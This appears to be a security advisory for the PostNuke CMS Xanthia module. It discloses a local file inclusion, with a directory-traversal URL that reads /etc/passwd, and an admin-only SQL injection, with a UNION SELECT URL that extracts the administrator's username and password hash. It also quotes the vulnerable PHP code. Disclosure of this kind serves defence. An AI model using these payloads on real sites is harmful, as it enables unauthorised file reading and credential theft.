PostNuke: The Phoenix Release (0.760-RC3=>X)

PostNuke is an open source, open developement content management system
(CMS). PostNuke started as a fork from PHPNuke (http://www.phpnuke.org) and
provides many enhancements and improvements over the PHP-Nuke system. PostNuke
is still undergoing development but a large number of core functions are now
stabilising and a complete API for third-party developers is now in place.
If you would like to help develop this software, please visit our homepage

- --- 1. Non Critical Local files include ---
This error exist in modules/Xanthia/pnadminapi.php. You can read all files in server if the PHP is bad configured and if you have admin right.

For exemple:

http://[HOST]/[DIR]/index.php?module=Xanthia&type=admin&func=addTheme&authid=&skin=cXIb8O3
etc.

Error message :
- ---------------
/www/PostNuke-0.750/source/html/modules/Xanthia/pnadminapi.php on line 1053
- ---------------

or

http://[HOST]/[DIR]/index.php?module=Xanthia&type=admin&func=credits&skin=[FILE]

but you can give to varible skin path to other file. Exemple for /etc/passwd

http://[HOST]/[DIR]/source/html/index.php?module=Xanthia&type=admin&func=addTheme&authid=&skin=../../../../../../../../etc/passwd%00


Vulnerability code in modules/Xanthia/pnadminapi.php:

- ---1039-1052---
 $cWhereIsPerso = WHERE_IS_PERSO;
    if (!(empty($cWhereIsPerso))) {
		$xaninitlang_path = $cWhereIsPerso . 'themes/'.$id.'/lang/'.$langs.'/xaninit.php';
		$xaninit_path = $cWhereIsPerso . 'themes/'.$id.'/xaninit.php';
			}
	else {
		$xaninitlang_path = 'themes/'.$id.'/lang/'.$langs.'/xaninit.php';
		$xaninit_path = 'themes/'.$id.'/xaninit.php';
	}
	if (file_exists($xaninitlang_path)) {
		include_once($xaninitlang_path);
	}
	
	include_once($xaninit_path);
- ---1039-1052---
etc.

- --- 2. Non critical Sql Injection ---
This sql injection is non critical because it works only with admin rights.

- -1655-1676---
	$sql="SELECT $column[module] as module, 
			   $column[block] as block, 
			   $column[position] as position 
					FROM  $pntable[theme_blcontrol]
					WHERE $column[position]='$dati[0]' 
					ORDER BY $column[module]";
	
	$result =& $dbconn->Execute($sql);
	if(!$result->EOF) {
		// Create output object - this object will store all of our output so that
		// we can return it easily when required
		$pnRender =& new pnRender('Xanthia');
	
		// As Admin output changes often, we do not want caching.
		$pnRender->caching = false;

		$pnRender->assign('menu', pnModFunc('Xanthia','admin','thememenu'));               
		$pnRender->assign('warn', _XA_NZWARNING);
		$pnRender->assign('columnheaders', array(pnVarPrepForDisplay(_XA_MODULE),
										  pnVarPrepForDisplay(_XA_BLOCK)));
		while(!$result->EOF) {
			$row = $result->GetRowAssoc(false);

So if we want to make successful attack we need first log_in as postnuke administrator.
When we are administrator we can go to :

Example:

http://[HOST]/[DIR]/index.php?module=Xanthia&type=admin&func=rimuovinuovezone&skinID=8&riga[0]='cXIb8O3&riga[1]=and&riga[2]=sp3x&skin=PiterpanV2

Error message :
- ---------------
Fatal error: Call to a member function GetRowAssoc() on a non-object in /www/PostNuke-0.750/html/modules/Xanthia/pnadmin.php on line 1676
- ---------------

Exploit for admin:
http://[HOST]/[DIR]/index.php?module=Xanthia&type=admin&func=rimuovinuovezone&skinID=1&riga[0]='%20UNION%20SELECT%20pn_uname,pn_pass,pn_pass%20FROM%20pn__users%20WHERE%20pn_uid=2/*
